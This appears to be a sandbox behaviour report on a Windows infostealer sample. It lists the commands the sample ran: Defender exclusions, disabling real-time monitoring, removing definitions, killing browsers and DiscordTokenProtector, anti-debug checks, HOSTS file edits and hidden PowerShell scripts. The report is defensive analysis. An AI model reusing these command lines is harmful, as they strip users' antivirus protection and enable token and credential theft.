Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '<Full path to file>'"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -Enabl...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-MpPreference -SubmitSamplesConsent 2
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /PID 5304
- '<SYSTEM32>\taskkill.exe' /F /PID 5148
- '<SYSTEM32>\taskkill.exe' /F /IM DiscordTokenProtector.exe
- '<SYSTEM32>\taskkill.exe' /F /IM chrome.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM brave.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM msedge.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM opera.exe /T
- '<SYSTEM32>\taskkill.exe' /F /IM vivaldi.exe /T
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\cmd.exe
Modifies file system
Creates the following files
- %TEMP%\sc04054a\sc04054a.0.cs
- %TEMP%\sc04054a\sc04054a.cmdline
- %TEMP%\sc04054a\sc04054a.out
- %TEMP%\sc04054a\csc22cffd9531ec45a8b27c287e0affe.tmp
- %TEMP%\res8c4d.tmp
- %TEMP%\sc04054a\sc04054a.dll
- %TEMP%\ololwpta\ololwpta.0.cs
- %TEMP%\ololwpta\ololwpta.cmdline
- %TEMP%\ololwpta\ololwpta.out
- %TEMP%\ololwpta\csc1de1d1457b7b4f259629fc3aec3fa3b.tmp
- %TEMP%\resa8ee.tmp
- %TEMP%\ololwpta\ololwpta.dll
- %TEMP%\content\4660-2256-mshta.exe-18-16-33-500.dump
- nul
- %TEMP%\skd_ct6dktfojtf.ps1
- %TEMP%\skd_ck5wx0yz3go.ps1
Sets the 'hidden' attribute to the following files
- <Full path to file>
Deletes following files that it created itself
- %TEMP%\res8c4d.tmp
- %TEMP%\sc04054a\csc22cffd9531ec45a8b27c287e0affe.tmp
- %TEMP%\sc04054a\sc04054a.out
- %TEMP%\sc04054a\sc04054a.0.cs
- %TEMP%\sc04054a\sc04054a.cmdline
- %TEMP%\sc04054a\sc04054a.dll
- %TEMP%\resa8ee.tmp
- %TEMP%\ololwpta\csc1de1d1457b7b4f259629fc3aec3fa3b.tmp
- %TEMP%\ololwpta\ololwpta.cmdline
- %TEMP%\ololwpta\ololwpta.dll
- %TEMP%\ololwpta\ololwpta.out
- %TEMP%\ololwpta\ololwpta.0.cs
- %TEMP%\skd_ct6dktfojtf.ps1
- %TEMP%\skd_ck5wx0yz3go.ps1
Modifies the HOSTS file.
Network activity
Connects to
- 'ap#.#pify.org':443
- 'ip##pi.com':80
TCP
HTTP GET requests
- http://ip##pi.com/line/?fi############
Other
- 'ap#.#pify.org':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK ip##pi.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ct6dktfojtf.ps1"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ck5wx0yz3go.ps1"
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe -WindowStyle Hidden -NoProfile -Command "[void] (Add-Type -Name C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr h, int n); ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -NoProfile -Command "[void] (Add-Type -Name C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr h, int n); [DllImport(\"kernel32.dll...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\sc04054a\sc04054a.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8C4D.tmp" "%TEMP%\sc04054a\CSC22CFFD9531EC45A8B27C287E0AFFE.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ololwpta\ololwpta.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA8EE.tmp" "%TEMP%\ololwpta\CSC1DE1D1457B7B4F259629FC3AEC3FA3B.TMP"
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("msgbox ""Error code: Windows_0x988958\nSomething gone wrong."",16,""Fatal Error"":close")"
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "<Full path to file>""
- '<SYSTEM32>\mshta.exe' vbscript:Execute("msgbox ""Error code: Windows_0x988958\nSomething gone wrong."",16,""Fatal Error"":close")
- '<SYSTEM32>\attrib.exe' +h +s "<Full path to file>"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "(Get-ItemProperty 'HKCU:\Control Panel\Desktop' -Name Wallpaper).Wallpaper""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "(Get-ItemProperty 'HKCU:\Control Panel\Desktop' -Name Wallpaper).Wallpaper"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; [System.Windows.Forms.Screen]::PrimaryScreen.Bo...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get UUID"
- '<SYSTEM32>\wbem\wmic.exe' csproduct get UUID
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum" /v 0"
- '<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum" /v 0
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"
- '<SYSTEM32>\tasklist.exe' /FO CSV /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /PID 5304"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /PID 5148"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System....
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '<Full path to file>'""
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderA...
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Set-MpPreference -SubmitSamplesConsent 2"
- '<SYSTEM32>\cmd.exe' /d /s /c ""%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib -r "<DRIVERS>\etc\hosts""
- '<SYSTEM32>\attrib.exe' -r "<DRIVERS>\etc\hosts"
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +r "<DRIVERS>\etc\hosts""
- '<SYSTEM32>\attrib.exe' +r "<DRIVERS>\etc\hosts"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk get caption"
- '<SYSTEM32>\wbem\wmic.exe' logicaldisk get caption
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM DiscordTokenProtector.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ct6dktfojtf.ps1""
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ck5wx0yz3go.ps1""
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM chrome.exe /T"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM brave.exe /T"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM msedge.exe /T"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM opera.exe /T"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM vivaldi.exe /T"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe -WindowStyle Hidden -NoProfile -Command "[void] (Add-Type -Name C -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr h, int n); ...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\sc04054a\sc04054a.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES8C4D.tmp" "%TEMP%\sc04054a\CSC22CFFD9531EC45A8B27C287E0AFFE.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\ololwpta\ololwpta.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESA8EE.tmp" "%TEMP%\ololwpta\CSC1DE1D1457B7B4F259629FC3AEC3FA3B.TMP"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "mshta vbscript:Execute("msgbox ""Error code: Windows_0x988958\nSomething gone wrong."",16,""Fatal Error"":close")"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +h +s "<Full path to file>""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "(Get-ItemProperty 'HKCU:\Control Panel\Desktop' -Name Wallpaper).Wallpaper""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width; [System.Windows.Forms.Screen]::PrimaryScreen.Bo...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get UUID"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum" /v 0"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -Command "[System.Diagnostics.Debugger]::IsAttached""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /PID 5304"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /PID 5148"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System....' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '<Full path to file>'""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Set-MpPreference -SubmitSamplesConsent 2"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c ""%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib -r "<DRIVERS>\etc\hosts""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "attrib +r "<DRIVERS>\etc\hosts""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk get caption"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM DiscordTokenProtector.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ct6dktfojtf.ps1""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "%TEMP%\skd_ck5wx0yz3go.ps1""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM chrome.exe /T"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM brave.exe /T"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM msedge.exe /T"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM opera.exe /T"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM vivaldi.exe /T"' (with hidden window)
